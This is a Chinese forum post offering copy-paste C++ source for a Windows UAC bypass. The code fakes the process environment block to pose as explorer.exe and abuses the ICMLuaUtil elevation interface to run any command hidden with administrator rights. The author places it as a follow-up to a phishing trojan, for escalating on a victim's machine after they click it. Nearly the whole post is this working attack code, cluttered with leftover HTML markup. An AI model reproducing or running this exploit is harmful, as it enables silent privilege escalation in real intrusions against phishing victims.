|
前言
先介绍一个bypass uac的场景,在gf的场景,如果目标的外网资产打不动的话,一般情况就会采用社工钓鱼,但是一般情况下目标点击我们的马子通常是以当前用户的普通权限运行的(当然也可以在做马的时候设置UAC执行级别为requireAdministrator),如果目标用户在管理员组那就可以通过uac来提权了,那下面就分享一个bypass uac的代码,通过伪PEB+ICMLuaUtil,X86的选择好直接复制粘贴生成。 代码
- <p class="MsoNormal"><span lang="EN-US">#include "windows.h"<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">#include "winternl.h"<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">#include <iostream><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">using namespace std;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">// </span>定义接口<span lang="EN-US"> ICMLuaUtil </span>和其方法<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">typedef interface ICMLuaUtil ICMLuaUtil;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">typedef struct ICMLuaUtilVtbl {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- BEGIN_INTERFACE<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* QueryInterface)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in REFIID riid,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- _COM_Outptr_ void** ppvObject);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ULONG(STDMETHODCALLTYPE* AddRef)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ULONG(STDMETHODCALLTYPE* Release)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> //
- incomplete definition<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* SetRasCredentials)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> //
- incomplete definition<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> //
- incomplete definition<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> //
- incomplete definition<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* LaunchInfSection)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> //
- incomplete definition<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> //
- incomplete definition<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT(STDMETHODCALLTYPE* ShellExec)(<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __RPC__in ICMLuaUtil* This,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- _In_ LPCTSTR lpFile,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- _In_opt_ LPCTSTR lpParameters,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- _In_opt_ LPCTSTR lpDirectory,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- _In_ ULONG fMask,<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- _In_ ULONG nShow);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- END_INTERFACE<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">} *PICMLuaUtilVtbl;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">interface ICMLuaUtil {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">};<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">// </span>以管理员权限运行指定的命令<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">HRESULT RunElevated(LPCWSTR lpCmdline) {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT status = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED |
- COINIT_DISABLE_OLE1DDE);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ICMLuaUtil* CMLuaUtil = NULL;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> IID
- xIID_ICMLuaUtil;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- LPCWSTR lpIID = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}";<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- IIDFromString(lpIID, &xIID_ICMLuaUtil);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- BIND_OPTS3 bop;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ZeroMemory(&bop, sizeof(bop));<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> if
- (!SUCCEEDED(status))<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- return status;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>使用<span lang="EN-US">CoGetObject</span>方法获取<span lang="EN-US">ICMLuaUtil</span>接口的实例<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>这里尝试获取<span lang="EN-US">Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}</span>的对象实例,该接口通常用于执行以管理员权限运行的操作<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- bop.cbStruct = sizeof(bop);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- bop.dwClassContext = CLSCTX_LOCAL_SERVER;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- status =
- CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
- (BIND_OPTS*)&bop, xIID_ICMLuaUtil, (VOID**)&CMLuaUtil);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> if
- (status != S_OK)<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- return status;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>构造带有<span lang="EN-US"> "/c" </span>命令的命令行<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- wstring cmdLineWithC = L"/c " + wstring(lpCmdline);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>以隐藏方式运行指定的命令<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- status = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
- L"cmd.exe", cmdLineWithC.c_str(), NULL, SEE_MASK_DEFAULT, SW_HIDE);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> if
- (CMLuaUtil != NULL) {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- CMLuaUtil->lpVtbl->Release(CMLuaUtil);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> }<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- return status;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">}<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">// </span>修改进程参数和<span lang="EN-US">Ldr</span>的内容,以运行指定路径的应用程序<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">VOID
- ChangeProcessParametersAndLdr(PUNICODE_STRING name, LPCWSTR lpExplorePath) {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- typedef VOID(WINAPI* RtlInitUnicodeString)(_Inout_ PUNICODE_STRING DestinationString, _In_opt_
- PCWSTR SourceString);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- RtlInitUnicodeString pfnRtlInitUnicodeString = NULL;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HMODULE hDll = LoadLibrary(L"ntdll.dll");<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- pfnRtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(hDll,
- "RtlInitUnicodeString");<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>使用<span lang="EN-US">RtlInitUnicodeString</span>方法来初始化<span lang="EN-US">UNICODE_STRING</span>结构体,修改其内容<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- pfnRtlInitUnicodeString(name, lpExplorePath);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">}<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">int main() {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> int
- nArgs = 0;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- LPWSTR* lpParam = NULL;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- HRESULT status = NULL;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- PPEB ppeb = NULL;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- DWORD* pFullDllName = NULL, pBaseDllName = NULL;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>解析命令行参数,获取要运行的命令<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- lpParam = CommandLineToArgvW(GetCommandLine(), &nArgs);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> if
- (nArgs <= 1) {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- cout << "uacbypass.exe [cmd]";<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- return 0;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> }<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- LPWSTR lpCmdline = *(lpParam + 1);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- LPWSTR lpExplorePath = new WCHAR[MAX_PATH];<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- GetWindowsDirectory(lpExplorePath, MAX_PATH);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- lstrcat(lpExplorePath, L"\\explorer.exe");<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>获取<span lang="EN-US">PEB</span>(<span lang="EN-US">Process Environment Block</span>)的相关字段地址<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- __asm {<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- push eax<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- mov eax, fs:[0x30]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- mov ppeb, eax<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- mov eax, [eax + 0x0c]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- mov eax, [eax + 0x0c]<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- add eax, 0x24<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- mov pFullDllName, eax<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- sub eax, 0x24<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- add eax, 0x2c<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- mov pBaseDllName, eax<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- pop eax<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> }<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>修改进程的<span lang="EN-US">ImagePathName</span>、<span lang="EN-US">CommandLine</span>、<span lang="EN-US">FullDllName</span>、<span lang="EN-US">BaseDllName</span>字段,指向系统的<span lang="EN-US">explorer.exe</span>路径<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ChangeProcessParametersAndLdr(&ppeb->ProcessParameters->ImagePathName,
- lpExplorePath);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ChangeProcessParametersAndLdr(&ppeb->ProcessParameters->CommandLine,
- lpExplorePath);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ChangeProcessParametersAndLdr((PUNICODE_STRING)((unsigned
- char*)pFullDllName), lpExplorePath);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- ChangeProcessParametersAndLdr((PUNICODE_STRING)((unsigned
- char*)pBaseDllName), lpExplorePath);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> // </span>以管理员权限运行指定的命令<span lang="EN-US"><o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- status = RunElevated(lpCmdline);<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US"> if
- (SUCCEEDED(status))<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">
- cout << "success!";<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US"> </span></p>
- <p class="MsoNormal"><span lang="EN-US">
- return 0;<o:p></o:p></span></p>
- <p class="MsoNormal"><span lang="EN-US">}</span></p>
复制代码
效果
总结
害,没啥好总结的,下课!
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|